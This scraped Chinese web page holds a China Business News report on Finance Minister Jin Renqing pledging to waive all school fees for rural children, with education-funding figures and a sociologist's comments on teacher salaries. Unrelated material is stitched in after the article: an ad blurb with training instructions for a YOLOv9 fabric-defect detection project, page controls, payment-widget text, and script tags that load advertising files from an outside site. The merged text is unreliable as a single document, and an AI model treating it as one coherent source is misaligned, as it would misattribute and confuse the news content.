金人庆:明年兜底农村孩子学杂费

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script> 本报记者赵杰发自北京
  财政部部长金人庆昨天透露,中央财政将全面支持农村明年真正实现九年制义务教育。
  在全球CEO领袖年会上,金人庆明确表示,明年要给农村的孩子免去全部学杂费,对于特别贫困的还要由政府提供免费的书本和住宿费用。
  目前,全国还有8%的地区没有普及九年制义务教育,集中在西部地区。本月10日,教育部副部长章新胜针对农村教育经费问题表示,到2007年,要使全国农村义务教育阶段家庭经济困难的学生都能享受到“两免一补”,就是免杂费、免书本费,补助寄宿生。“中央财政新增教育经费将主要用于农村。”
  据教育部最新数据,2004年与2000年相比,农村小学和初中教育的总经费增长了1070亿元和574亿元,增幅达74.35%和87.69%,比全国平均教育费用的增幅还高7和10个百分点。到2004年,全国农村小学和初中教育经费中,政府拨款已占到 82.75%和76.65%,比2000 年提高16和14个百分点,比全国平均数量高出了7.8个百分点和13.8个百分点。
  南京大学社会学系教授张玉林昨晚接受《第一财经日报》采访时表示,财政部部长在公开场合如此表明态度,而不是含糊地将免除学杂费定于“家庭困难学生”,这还是前所未有的,代表了中央政府的一种决心。如果对农村学生完全减免学杂费,将意味着中央财政每年增加200亿元左右的负担。
  但是整个农村义务教育的实现,并不简单是免除学生学杂费的问题。“这里涉及的重要一项是教师工资,它在整个农村教育经费中占到了70%~80%。”张玉林认为,要真正实现农村义务教育,必须有一个有力的制度支持。中央、省、县三级政府之间的财政分配情况必须分清楚,“如果教师工资由中 央政府支持,这一目标不难实现,否则不然。”



中国首选,价值之选!欢迎订阅第一财经日报!
订阅电话:021—52132511(上海)010—58685776(北京)020—34254460(广州)0755—82416077(深圳) <script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
基于YOLOv9实现工业布匹缺陷(破洞、污渍)检测系统python源码+详细运行教程+训练好的模型+评估 【使用教程】 一、环境配置 1、建议下载anaconda和pycharm 在anaconda中配置好环境,然后直接导入到pycharm中,在pycharm中运行项目 anaconda和pycharm安装及环境配置参考网上博客,有很多博主介绍 2、在anacodna中安装requirements.txt中的软件包 命令为:pip install -r requirements.txt 或者改成清华源后再执行以上命令,这样安装要快一些 软件包都安装成功后才算成功 3、安装好软件包后,把anaconda中对应的python导入到pycharm中即可(不难,参考网上博客) 二、环境配置好后,开始训练(也可以训练自己数据集) 1、数据集准备 需要准备yolo格式的目标检测数据集,如果不清楚yolo数据集格式,或者有其他数据训练需求,请看博主yolo格式各种数据集集合链接:https://blog.csdn.net/DeepLearning_/article/details/127276492 里面涵盖了上百种yolo数据集,且在不断更新,基本都是实际项目使用。来自于网上收集、实际场景采集制作等,自己使用labelimg标注工具标注的。数据集质量绝对有保证! 本项目所使用的数据集,见csdn该资源下载页面中的介绍栏,里面有对应的下载链接,下载后可直接使用。 2、数据准备好,开始修改配置文件 参考代码中data文件夹下的banana_ripe.yaml,可以自己新建一个不同名称的yaml文件 train:训练集的图片路径 val:验证集的图片路径 names: 0: very-ripe 类别1 1: immature 类别2 2: mid-ripe 类别3 格式按照banana_ripe.yaml照葫芦画瓢就行,不需要过多参考网上的 3、修改train_dual.py中的配置参数,开始训练模型 方式一: 修改点: a.--weights参数,填入'yolov9-s.pt',博主训练的是yolov9-s,根据自己需求可自定义 b.--cfg参数,填入 models/detect/yolov9-c.yaml c.--data参数,填入data/banana_ripe.yaml,可自定义自己的yaml路径 d.--hyp参数,填入hyp.scratch-high.yaml e.--epochs参数,填入100或者200都行,根据自己的数据集可改 f.--batch-size参数,根据自己的电脑性能(显存大小)自定义修改 g.--device参数,一张显卡的话,就填0。没显卡,使用cpu训练,就填cpu h.--close-mosaic参数,填入15 以上修改好,直接pycharm中运行train_dual.py开始训练 方式二: 命令行方式,在pycharm中的终端窗口输入如下命令,可根据自己情况修改参数 官方示例:python train_dual.py --workers 8 --device 0 --batch 16 --data data/coco.yaml --img 640 --cfg models/detect/yolov9-c.yaml --weights '' --name yolov9-c --hyp hyp.scratch-high.yaml --min-items 0 --epochs 500 --close-mosaic 15 训练完会在runs/train文件下生成对应的训练文件及模型,后续测试可以拿来用。 三、测试 1、训练完,测试 修改detect_dual.py中的参数 --weights,改成上面训练得到的best.pt对应的路径 --source,需要测试的数据图片存放的位置,代码中的test_imgs --conf-thres,置信度阈值,自定义修改 --iou-thres,iou阈值,自定义修改 其他默认即可 pycharm中运行detect_dual.py 在runs/detect文件夹下存放检测结果图片或者视频 【特别说明】 *项目内容完全原创,请勿对项目进行外传,或者进行违法等商业行为! 【备注】 1、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用!有问题请及时沟通交流。 2、适用人群:计算机相关专业(如计科、信息安全、数据科学与大数据技术、人工智能、通信、物联网、自动化、电子信息等)在校学生、专业老师或者企业员工下载使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值